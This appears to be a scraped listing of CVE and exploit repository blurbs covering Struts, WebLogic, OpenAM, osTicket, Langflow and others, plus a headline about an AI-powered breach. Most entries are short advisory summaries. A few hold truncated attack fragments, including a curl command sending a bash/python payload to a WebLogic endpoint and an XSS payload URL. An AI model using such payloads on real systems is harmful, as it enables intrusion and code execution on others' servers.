CVE-2017-9805

CVE-2017-9805: Apache Struts 2 S2-052 RCE Analizi Bu depo, Apache Struts 2 S2-052 üzerindeki XStream deserialization zafiyetine yönelik teknik detayları ve PoC Proof of Concept çalışmasını içermektedir. 📌 Zafiyet Bilgileri CVE Kodu: CVE-2017-9805 Zafiyet Türü: Uzaktan Kod Çalıştırma RCE Risk...

CVE-2017-9606

CVE-2017-9606 Due to insufficient of checking integrity, authenticity and low user rights on update folder local user can craft fake ViPNet update files with arbitrary execution code and place them in ViPNet update folder. After placing fake update files in ViPNet update folder, ViPNet update...

Exploit-CVE-2019-2725

Exploit-CVE-2019-2725 A simple exploit for CVE-2019-2725. Example Code: curl -X POST https://127.0.0.1/async/AsyncResponseService -H "Content-Type: text/xml" -d ' xx xx /bin/bash -c python -c "import...

CVE-2022-29303

CVE-2022-29303-Exploit Exploit for CVE-2022-29303 Usage Check against single host / \ \ / / || \ | \ // \ / | \ V /| |/ / / / / // /, /| \ | \ | / || ///| /|//|/// Coded By Valentin Lobstein "With great power comes great responsibility" usage: CVE-2022-29303.py -h -u URL -c COMMAND Example :...

CVE-2016-2098

CVE-2016-2098 Action Pack in Ruby on Rails before 3.2.22.2, 4.x before 4.1.14.2, and 4.2.x before 4.2.5.2 allows remote attackers to execute arbitrary Ruby code by leveraging an application's unrestricted use of the render method. Class Input Validation Error Credits Tobias Kraze from makandra an...

CVE-2021-42392-exploit-lab

⚠️ H2 Database RCE Exploit PoC CVE-2021-42392 This repository provides a minimal and controlled environment to test the H2 Database Remote Code Execution vulnerability CVE-2021-42392 using the CREATE ALIAS feature. Unlike many demonstrations, this exploit targets the H2 TCP service directly...

CVE-2022-32132

CVE-2022-32132 for osTicket | Support Ticketing System Reflected XSS: Payload: " onmouseover="alert1 http://localhost/scp/directory.php?&&order=DESCE%22%20onmouseover=%22alert1%22%20style=%22position:fixed;top:0px;right:0;bottom:0px;left:0px;&sort=name...

SpeculativeExecutionAssessment

SpeculativeExecutionAssessment Assesses a system for the "speculative execution" vulnerabilities described in: CVE-2017-5715 branch target injection CVE-2017-5753 bounds check bypass CVE-2017-5754 rogue data cache load WARNING: Ensure that "Prefer 32-bit" is not checked in the build options...

CVE-2020-8248

CVE-2020-8248: Privilege Escalation via Zip Wildcard Exploit in Pulse Secure VPN Linux Client The root SUID executable pulsesvc, has a function “doupload” that unsafely calls a zip command with wildcards “”. By writing files with specifically crafted names, in a user- controlled folder...

CVE-2024-28397-RCE

CVE-2024-28397-RCE CVE-2024-28397 - Remote Code Execution From Vulnerable JS2PY Usage: python3 exploit.py...

EUVD-2026-92019

OpenAM before 16.1.3 contains an unauthenticated arbitrary class instantiation vulnerability in the legacy JAX-RPC SOAP interface that allows remote attackers to load classes without authentication. Attackers can send SOAP requests to /jaxrpc/ with an unverified session identifier and a chosen...

CVE-2026-105115 OpenAM before 16.1.3 Unauthenticated Arbitrary Class Instantiation via JAX-RPC Interface

OpenAM before 16.1.3 contains an unauthenticated arbitrary class instantiation vulnerability in the legacy JAX-RPC SOAP interface that allows remote attackers to load classes without authentication. Attackers can send SOAP requests to /jaxrpc/ with an unverified session identifier and a chosen...

CVE-2026-105115 OpenAM before 16.1.3 Unauthenticated Arbitrary Class Instantiation via JAX-RPC Interface

OpenAM before 16.1.3 contains an unauthenticated arbitrary class instantiation vulnerability in the legacy JAX-RPC SOAP interface that allows remote attackers to load classes without authentication. Attackers can send SOAP requests to /jaxrpc/ with an unverified session identifier and a chosen...

CVE-2026-105115

OpenAM versions prior to 16.1.3 are vulnerable to an unauthenticated arbitrary class instantiation vulnerability within the legacy JAX-RPC SOAP interface . Remote attackers can exploit this by sending SOAP requests to the */jaxrpc/ endpoint using an unverified session identifier and a specified c...

CVE-2026-105115 OpenAM before 16.1.3 Unauthenticated Arbitrary Class Instantiation via JAX-RPC Interface

OpenAM before 16.1.3 contains an unauthenticated arbitrary class instantiation vulnerability in the legacy JAX-RPC SOAP interface that allows remote attackers to load classes without authentication. Attackers can send SOAP requests to /jaxrpc/ with an unverified session identifier and a chosen...

CVE-2026-105114 OpenAM before 16.1.3 Reflected XSS via OAuth2 Authorization Error Page

OpenAM before 16.1.3 contains a reflected cross-site scripting vulnerability that allows unauthenticated attackers to inject script by supplying crafted parameters rendered unencoded on the OAuth2 authorization error page. Attackers can lure victims to a crafted /oauth2/authorize link with repeat...

cve-2021-41773

Apache 2.4.49 - Path Traversal or Remote Code Execution cve-2021-41773.py is a python script that will help in finding Path Traversal or Remote Code Execution vulnerability in Apache 2.4.49. Vulnerable instance of Docker is provided to get your hands dirty on CVE-2021-41773 If CGI-BIN is enabled...

cve-2025-3248-exploit

CVE-2025-3248: Langflow Unauthenticated RCE Vulnerability Scanner A comprehensive Python exploitation framework for testing and demonstrating CVE-2025-3248 , a critical unauthenticated remote code execution vulnerability in Langflow versions ≤ 1.3.0. 🔴 Vulnerability Overview CVE-2025-3248: Langfl...

CVE-2024-44902-env

CVE-2024-44902 - ThinkPHP Insecure Deserialization RCE Vulnerable environment for nuclei-templates validation. Vulnerability Details Field| Value ---|--- CVE ID| CVE-2024-44902 Severity| Critical CVSS 9.8 Product| ThinkPHP Affected Versions| 6.1.3 - 8.0.4 Type| Insecure Deserialization → RCE CWE|...

Dutch Institute for Vulnerability Disclosure Breached via Zammad 0-Days

Dutch Institute for Vulnerability Disclosure was breached through two Zammad 0-days in an AI-powered attack that led to remote code execution and root access...